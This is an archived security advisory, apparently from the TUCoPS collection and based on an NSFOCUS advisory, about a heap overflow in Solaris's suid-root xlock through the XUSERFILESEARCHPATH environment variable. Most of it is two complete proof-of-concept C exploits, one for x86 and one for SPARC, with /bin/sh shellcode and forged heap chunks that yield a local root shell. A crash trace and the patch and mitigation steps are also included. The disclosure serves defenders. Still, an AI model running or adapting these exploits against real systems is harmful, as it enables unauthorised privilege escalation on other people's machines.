TUCoPS :: SunOS/Solaris :: xlock1~1.htm

Solaris 2.6, 7, 8 xlock local root
COMMAND

    xlock

SYSTEMS AFFECTED

    Solaris 2.6, 7, 8

PROBLEM

    Following  is  based  on  a  NSFOCUS  Security Advisory SA2001-05.
    NSFOCUS  Security   Team  has   found  a   heap  buffer   overflow
    vulnerability  in  the  xlock  shipped  in  Solaris  system   when
    handling some  environment variables.   Exploitation of  it  would
    allow a local attacker to obtain root privilege.

    Xlock is a screen-locking tool of Solaris OpenView.  It locks  the
    X server until a password is  entered.  It is installed suid  root
    by default.  It has an invalid boundary check in some  environment
    variable  handling.  As  the  result,  an attacker could overwrite
    dynamic memory boundary of heap  area, run arbitrary code as  root
    with carefully constructed overflow data.

    The   problem   is   within   these   two  environment  variables:
    "XFILESEARCHPATH" and "XUSERFILESEARCHPATH".  Xlock calls malloc()
    to allocate 1024  bytes memory and  save the environment  variable
    value in this dynamic memory.   But xlock does not provide  length
    check of environment  variable when copying.   In case that  these
    two environment variables are set to be a string longer than  1024
    bytes,  a  heap  overflow  might  occur.   Adjacent dynamic memory
    boundary tags could be overwritten, and segment fault would  occur
    when malloc()  is called  next time.   Some special  "feature"  of
    libc  malloc()/free()  implementation  could  be  used  to rewrite
    arbitrary memory like saved returned address and function  pointer
    or other important data with carefully formed overflow data.

    Exploiting this vulnerability successfully would give an  attacker
    root privilege.

        bash-2.03$ uname -a
        SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
        bash-2.03$ cp /usr/openwin/bin/xlock /tmp/xlock
        bash-2.03$ export XFILESEARCHPATH=3D`perl -e 'print "A"x1028'`
        bash-2.03$ /tmp/xlock
        Segmentation Fault
        bash-2.03$ truss -u libc:malloc,free /tmp/xlock
        <...snip...>
        <- libc:malloc() =3D 0x1135d0
        -> libc:malloc(0x400, 0xffbefa8d, 0xffffffff, 0x1b648)
        <- libc:malloc() =3D 0x1139d0
        open("AAAAAAA...AAAAAAAAAAAAAAA", O_RDONLY) Err#78 ENAMETOOLONG
        -> libc:free(0x1139d0, 0x0, 0xff31c000, 0x1b648)
        <- libc:free() =3D 0
        -> libc:malloc(0x400, 0x12, 0x0, 0x10ed49)
        <- libc:malloc() =3D 0x1139d0
        open("/export/home/test/XLock", O_RDONLY)         Err#2 ENOENT
        -> libc:free(0x1139d0, 0x0, 0xff31c000, 0x7efefeff)
        <- libc:free() =3D 0
        -> libc:malloc(0x3, 0x3073b, 0xffffffff, 0x3a300000)
        <- libc:malloc() =3D 0x1135e0
            Incurred fault #6, FLTBOUNDS  %pc =3D 0xFF0C0F4C
              siginfo: SIGSEGV SEGV_MAPERR addr=3D0x41527F18
            Received signal #11, SIGSEGV [default]
              siginfo: SIGSEGV SEGV_MAPERR addr=3D0x41527F18
                *** process killed ***

    x86 exploit code:

    /*
     *  sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
     *  Copyright (c) 2001 - Nsfocus.com
     *
     *  Tested in Solaris 8 x86.
     *
     *  DISCLAIMS:
     *  This  is a proof of concept code.  This code is for test purpose
     *  only and should not be run against any host without permission from
     *  the system administrator.
     *
     *  NSFOCUS Security Team <security@nsfocus.com>
     *  http://www.nsfocus.com
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <strings.h>
    #include <sys/types.h>
    
    #define RETLOC  0x080463c8  /* default retrun address location (Solaris 8 x86) */
    #define SP      0x08047ffc  /* default "bottom" stack address (Solaris 8 x86) */
    
    #define VULPROG "/usr/openwin/bin/xlock"
    
    char            shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x28\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x8b\xec\x83\xec\x64\x33\xd2\xc6\x45\xce\x9a\x89"
    "\x55\xcf\x89\x55\xd3\xc6\x45\xd3\x07\xc6\x45\xd5"
    "\xc3\x89\x55\xfc\x83\xed\x32\x33\xc0\x50\x50\xb0"
    "\xca\xff\xd5\x83\xc4\x08\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89"
    "\xe2\x50\x52\x53\xb0\x3b\xff\xd5";
    
    int
    main(int argc, char **argv)
    {
            char            buf[2048], fake_chunk[48];
            long            retaddr, sp_addr = SP;
            char           *arg[24], *env[24];
            long            retloc = RETLOC;
            unsigned int   *ptr;
            char            ev1[]="XUSERFILESEARCHPATH=";
            long            ev1_len;
            long            overbuflen = 1024;
    
            if (argc > 1) /* adjust retloc */
                    retloc += atoi(argv[1]);
    
            bzero(buf, sizeof(buf));
            ev1_len = strlen(ev1);
            memcpy(buf, ev1, ev1_len);
            memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));
    
            arg[0] = VULPROG;
            arg[1] = NULL;
    
            env[0] = shellcode;     /* put shellcode in env */
            env[1] = buf;           /* put overflow environ */
            env[2] = NULL;          /* end of env */
    
            /* get the not exact shellcode address :) */
            retaddr = sp_addr - strlen(VULPROG) - 1
                              - strlen("i86pc") - 1
                              - strlen(buf) - 1
                              - strlen(shellcode) - 1;
    
            printf("Using RET address = 0x%lx\n", retaddr);
            printf("Using retloc = 0x%lx \n", retloc);
    
            ptr = (unsigned int *) fake_chunk;
            memset(fake_chunk, '\xff', sizeof(fake_chunk));
            *(ptr + 0) = 0xfffffff9;
            *(ptr + 2) = retaddr;
            *(ptr + 8) = retloc - 8;
    
            memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));
    
            execve(VULPROG, arg, env);
            perror("execle");
            return(1);
    }  /* End of main */

    SPARC exploit code:

    /*
     *  sol_sparc_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
     *  Copyright (c) 2001 - Nsfocus.com
     *
     *  Tested in Solaris 2.6/7/8 SPARC
     *
     *  DISCLAIMS:
     *  This  is a proof of concept code.  This code is for test purpose
     *  only and should not be run against any host without permission from
     *  the system administrator.
     *
     *  NSFOCUS Security Team <security@nsfocus.com>
     *  http://www.nsfocus.com
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/systeminfo.h>
    
    #define RETLOC  0xffbee8c4  /* default "return address" location (Solaris 7) */
    #define SP      0xffbefffc  /* default "bottom" stack address (Solaris 7/8) */
    
    #define VULPROG "/usr/openwin/bin/xlock"
    
    #define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */
    
    
    char            shellcode[] =           /* from scz's shellcode for SPARC */
    "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\xaa\x1d\x40\x15"
    "\x81\xc3\xe0\x14\xaa\x1d\x40\x15\xaa\x1d\x40\x15\x90\x08\x3f\xff"
    "\x82\x10\x20\x8d\x91\xd0\x20\x08\x90\x08\x3f\xff\x82\x10\x20\x17"
    "\x91\xd0\x20\x08\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65"
    "\x20\x80\x3a\x29\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34"
    "\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f"
    "\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
    
    /* get current stack point address */
    long
    get_sp(void)
    {
            __asm__("mov %sp,%i0");
    }
    
    long
    get_shelladdr(long sp_addr, char **arg, char **env)
    {
            long            retaddr;
            int             i;
            char            plat[256];
            char            pad = 0, pad1;
            int             env_len, arg_len, len;
    
    
            /* calculate the length of "VULPROG" + argv[] */
            for (i = 0, arg_len = 0; arg[i]!=NULL ; i++) {
                    arg_len += strlen(arg[i]) + 1;
            }
    
    
            /* calculate the pad nummber . */
            pad = 3 - arg_len % 4;
            printf("shellcode address padding = %d\n", pad);
    
            memset(env[0], 'A', pad);
            env[0][pad] = '\0';
    
                    /* get environ length */
            for (i = 0, env_len = 0; env[i]!=NULL; i++) {
                    env_len += strlen(env[i]) + 1;
            }
    
            /* get platform info  */
            sysinfo(SI_PLATFORM, plat, 256);
    
            len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
            printf("stack arguments len = %#x(%d)\n", len, len);
    
            pad1 = len % 4;
    
            if(pad1 == 3 ) pad1 = 5;
            else pad1 = 4 - pad1;
    
            printf("the padding zeros number = %d\n\n", pad1);
    
            /* get the exact shellcode address */
            retaddr = sp_addr - pad1       /* the trailing zero number */
                              - strlen(VULPROG) - 1
                              - strlen(plat) - 1 ;
    
            for(i--;i>0;i--) retaddr -= strlen(env[i]) + 1;
    
            printf("Using RET address = 0x%x\n", retaddr);
            return retaddr;
    
    } /* End of get_shelladdr */
    
    
    int
    main(int argc, char **argv)
    {
            char            buf[2048], fake_chunk[48];
            long            retaddr, sp_addr = SP;
            char           *arg[24], *env[24];
            char            padding[64];
            long            retloc = RETLOC;
            unsigned int   *ptr;
            char            ev1[]="XUSERFILESEARCHPATH=";
            long            ev1_len;
            long            overbuflen = 1024;
    
            if (argc > 1) /* you need adjust retloc offset in your system */
                    retloc += atoi(argv[1]);
    
            arg[0] = VULPROG;
            arg[1] = NULL;
    
            bzero(buf, sizeof(buf));
            ev1_len = strlen(ev1);
            memcpy(buf, ev1, ev1_len);
            memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));
    
            env[0] = padding;       /* put padding buffer in env */
            env[1] = shellcode;     /* put shellcode in env */
            env[2] = buf;           /* put overflow environ */
            env[3] = NULL;          /* end of env */
    
            /* get stack "bottom" address */
            if(((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
              sp_addr = SP - 0x0fbf0000;
              retloc -= 0x0fbf0000;
            }
    
            retaddr = get_shelladdr(sp_addr, arg, env);
            printf("Using retloc = 0x%x \n", retloc);
    
            memset(fake_chunk, '\xff', sizeof(fake_chunk));
            ptr = (unsigned int *) fake_chunk;
            *(ptr + 0) = 0xfffffff9;
            *(ptr + 2) = retaddr - 8;
            *(ptr + 8) = retloc - 8;
    
            memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));
    
            execve(VULPROG, arg, env);
            perror("execle");
    }  /* End of main */

SOLUTION

    Drop the suid root attribute of xlock:

        chmod a-s /usr/openwin/bin/xlock

    Sun's patches to be released for this vulnerability:

                      SPARC           x86
                      ---------       ---------
        Solaris 8     108652-38       108653-33
        Solaris 7     108376-30       108377-26
        Solaris 2.6   105633-60       106248-45

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH